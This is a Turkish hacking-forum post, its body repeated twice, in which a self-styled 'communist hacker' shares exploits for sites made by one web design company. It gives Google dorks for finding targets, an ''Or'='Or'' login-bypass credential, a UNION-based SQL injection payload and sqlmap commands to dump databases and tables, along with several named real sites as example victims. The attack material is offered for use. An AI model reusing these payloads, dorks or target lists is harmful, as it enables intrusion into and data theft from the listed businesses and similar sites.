Selamlar
Uzuuuunn süredir aktif değildim geçenlerde bir bakınayım dedim size exploitler çıkardım iyi eğlenceler
[hide]
*.ozgunwebtasarim.com & yardim.php SQL Injection / Login Bypass
--------------------------------------------------------------------------
yardim.php Login Bypass
---------------------------------------------------------------------------
yardim.php Login Bypass
Search Google : inurl:yardim.php?id=
Admin Panel : /admin/
Username : ''Or'='Or''
Password : ''Or'='Or''
Success !
E.g
http://huzuremlakafyon.com/admin
http://aybarsemlak.org/admin
----------------------------------------------------------------------------
site:*.ozgunwebtasarim.com SQL Injection
----------------------------------------------------------------------------
Search Google : site:*.ozgunwebtasarim.com
Admin Panel : /admin/
SQL Injection : *.ozgunwebtasarim.com/kurumsal.php?Git=1
Payload :
Parameter: Git (GET)
Type: UNION query
Title: Generic UNION query (NULL) - 6 columns
Payload: Git=-6974' UNION ALL SELECT NULL,NULL,NULL,CONCAT(CONCAT('qkqkq','y
NrZwiHhedjAEgVaHVnBWOyZJiSMABOLwvkuTEoa'),'qzzkq'),NULL,NULL-- LayN
SQLMap Config : sqlmap.py -u *.ozgunwebtasarim.com/kurumsal.php?Git=1 -
D ozgunweb_* --level=5 --risk=3 --no-cast --tables
sqlmap.py -u *.ozgunwebtasarim.com/kurumsal.php?Git=1 --level=5 --risk=3 --no-cast --dbs
E.g
http://ilicaakpinarotel.ozgunwebtasarim.com/kurumsal.php?Git=1
http://yiksan.ozgunwebtasarim.com/kurumsal.php?Git=1
http://www.ozgunwebtasarim.com/kurumsal.php?Git=1
----------------------------------------------------------------------------------------------------
☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭
GOD3ERR COMMUNIST HACKER - FREEDOM TURKEY !
☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭
----------------------------------------------------------------------------------------------------
Link : https://cxsecurity.com/issue/WLB-2018100073
[/hide]
Uzuuuunn süredir aktif değildim geçenlerde bir bakınayım dedim size exploitler çıkardım iyi eğlenceler
[hide]
*.ozgunwebtasarim.com & yardim.php SQL Injection / Login Bypass
--------------------------------------------------------------------------
yardim.php Login Bypass
---------------------------------------------------------------------------
yardim.php Login Bypass
Search Google : inurl:yardim.php?id=
Admin Panel : /admin/
Username : ''Or'='Or''
Password : ''Or'='Or''
Success !
E.g
http://huzuremlakafyon.com/admin
http://aybarsemlak.org/admin
----------------------------------------------------------------------------
site:*.ozgunwebtasarim.com SQL Injection
----------------------------------------------------------------------------
Search Google : site:*.ozgunwebtasarim.com
Admin Panel : /admin/
SQL Injection : *.ozgunwebtasarim.com/kurumsal.php?Git=1
Payload :
Parameter: Git (GET)
Type: UNION query
Title: Generic UNION query (NULL) - 6 columns
Payload: Git=-6974' UNION ALL SELECT NULL,NULL,NULL,CONCAT(CONCAT('qkqkq','y
NrZwiHhedjAEgVaHVnBWOyZJiSMABOLwvkuTEoa'),'qzzkq'),NULL,NULL-- LayN
SQLMap Config : sqlmap.py -u *.ozgunwebtasarim.com/kurumsal.php?Git=1 -
D ozgunweb_* --level=5 --risk=3 --no-cast --tables
sqlmap.py -u *.ozgunwebtasarim.com/kurumsal.php?Git=1 --level=5 --risk=3 --no-cast --dbs
E.g
http://ilicaakpinarotel.ozgunwebtasarim.com/kurumsal.php?Git=1
http://yiksan.ozgunwebtasarim.com/kurumsal.php?Git=1
http://www.ozgunwebtasarim.com/kurumsal.php?Git=1
----------------------------------------------------------------------------------------------------
☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭
GOD3ERR COMMUNIST HACKER - FREEDOM TURKEY !
☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭ ☭
----------------------------------------------------------------------------------------------------
Link : https://cxsecurity.com/issue/WLB-2018100073
[/hide]
